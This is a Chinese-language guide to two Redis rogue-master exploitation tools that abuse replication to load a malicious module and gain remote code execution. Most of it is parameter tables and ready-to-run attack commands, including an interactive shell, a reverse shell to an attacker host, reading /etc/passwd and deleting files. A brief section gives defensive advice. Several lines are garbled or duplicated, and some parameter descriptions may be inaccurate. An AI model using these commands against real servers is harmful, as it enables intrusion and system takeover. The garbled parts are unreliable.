工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》
1. 核心功能与攻击场景
-  redis-rogue-server 
 基于Redis主从复制漏洞(CVE未公开),针对Redis 4.x~5.0.5版本设计,通过伪造恶意主节点强制同步恶意模块(.so文件)实现远程代码执行(RCE)。- 适用场景: 
    - 主动模式:攻击外网暴露的未授权Redis或已知弱密码的实例,直接建立主从关系。
- 被动模式:通过SSRF或内网横向移动,诱导目标Redis反向连接攻击者控制的恶意主节点。
 
- 技术特点: 
    - 内置编译好的恶意模块(如exp.so),支持生成反弹Shell或执行系统命令。
- 支持交互式Shell(直接命令执行)或反向Shell(绕过防火墙限制)。
 
- 内置编译好的恶意模块(如
 
- 适用场景: 
    
-  Awsome-Redis-Rogue-Server 
 在原版基础上优化,支持更复杂的Redis认证场景(如存在密码保护的实例),并修复部分兼容性问题。- 核心改进: 
    - 增加对密码认证Redis实例的利用能力,通过--passwd参数指定密码。
- 优化模块加载逻辑,减少因网络波动导致的同步失败。
 
- 增加对密码认证Redis实例的利用能力,通过
- 应用场景: 
    - 针对企业内网中配置了密码但未限制主从复制的Redis实例。
- 结合Redis横向渗透工具(如RedisScanner)批量探测并攻击。
 
 
- 核心改进: 
    
2. 使用流程与工具差异
| 对比项 | redis-rogue-server | Awsome-Redis-Rogue-Server | 
|---|---|---|
| 依赖文件 | 需预编译 .so模块(或使用自带exp.so) | 同左,但优化模块兼容性 | 
| 密码支持 | 有限支持(需手动修改代码或参数) | 原生支持 --passwd参数指定密码 | 
| 攻击模式 | 主动/被动模式 | 同左,增加对认证流程的自动化处理 | 
| 适用Redis版本 | 4.x-5.0.5 | 扩展至部分5.0.5+版本(需测试) | 
| 典型命令 | python3 redis-rogue-server.py --rhost <目标IP> | python3 redis_rogue_server.py -rhost <目标IP> -passwd <密码> | 
3. 防御建议与漏洞修复
- 禁用高危命令:通过rename-command重命名或禁用MODULE、SLAVEOF等指令。
- 强制认证:设置requirepass强密码,并启用masterauth保证主从通信安全。
- 网络隔离:限制Redis端口仅对可信IP开放,避免暴露公网。
- 升级修复:升级至Redis 7.4.2+/7.2.7+修复Lua引擎漏洞(如CVE-2024-46981)。
总结
两者均利用Redis主从复制的设计缺陷实现RCE,但Awsome-Redis-Rogue-Server更适用于复杂认证环境,而redis-rogue-server更适合快速测试未授权场景。防御需结合访问控制、日志监控与版本升级,避免恶意模块加载和横向渗透。
redis_rogue_server.py 参数解析
 
该文件位于Awsome-Redis-Rogue-Server项目中。
1. 基本参数
| 参数 | 描述 | 示例 | 
|---|---|---|
| -rhost | 目标Redis服务器的IP地址。 | -rhost 192.168.1.100 | 
| -rport | 目标Redis服务器的端口(默认6379)。 | -rport 6379 | 
| -lhost | 攻击者主机的IP地址(用于反向Shell或模块同步)。 | -lhost 10.0.0.1 | 
| -lport | 攻击者主机的监听端口(默认15000)。 | -lport 21000 | 
| -passwd | Redis实例的认证密码(若目标Redis设置了密码)。 | -passwd redis123 | 
| -sofile | 指定恶意模块文件(如 exp.so)。 | -sofile ./exp.so | 
| -path | 指定恶意模块文件路径(如 exp.so),该模块通常包含远程代码执行函数(如system.exec),程序到路径中加载文件。 | -path exp.so | 
| -v | 详细输出模式,用于显示攻击过程中的调试信息,如连接状态、命令执行细节、模块加载进度等。 | -v | 
2. 高级参数
| 参数 | 描述 | 示例 | 
|---|---|---|
| --command | 直接执行系统命令(无需加载模块)。 | --command "id" | 
| --function | 调用模块中的特定函数(如 system.exec)。 | --function system.exec | 
| --backupfile | 指定目标Redis持久化文件的备份路径(用于恢复数据)。 | --backupfile /tmp/dump.rdb | 
| --interactive | 启用交互式Shell(加载模块后)。 | --interactive | 
3. 使用示例
# 主动模式(外网/已知密码):加载 exp.so 模块,获取交互式 
# 功能:通过主从复制加载恶意模块,直接进入交互式 Shell。
# 场景:外网 Redis 未授权或已知弱密码。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive
# 被动模式(内网/SSRF诱导):仅启动恶意主节点,等待目标 Redis 反向连接 
# 功能:通过 SSRF 或内网横向移动诱导目标 Redis 连接恶意主节点。
# 场景:目标 Redis 处于内网且无法直接访问。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000
# 反向 Shell 反弹:监听 4444 端口,触发目标反弹 Shell 
# 功能:利用模块中的 `system.rev` 函数建立反向 Shell。
# 场景:绕过防火墙限制或权限维持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev
# 快速命令执行:直接执行系统命令(无需加载模块)
# 功能:快速验证漏洞或执行单条命令。
# 场景:应急响应或自动化渗透测试。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"
# 调用自定义模块的特定函数:
# 说明:适用于绕过 WAF 或实现隐蔽攻击。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"
# 攻击前备份目标 Redis 数据 
# 说明:避免攻击导致业务中断,需提前验证备份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事项
- 恶意模块:exp.so需提前编译,包含system.exec等函数。
- 网络权限:确保攻击者主机(lhost)可被目标Redis访问(用于反向Shell或模块同步)。
- 数据备份:攻击前建议备份目标Redis数据(--backupfile),避免数据丢失。
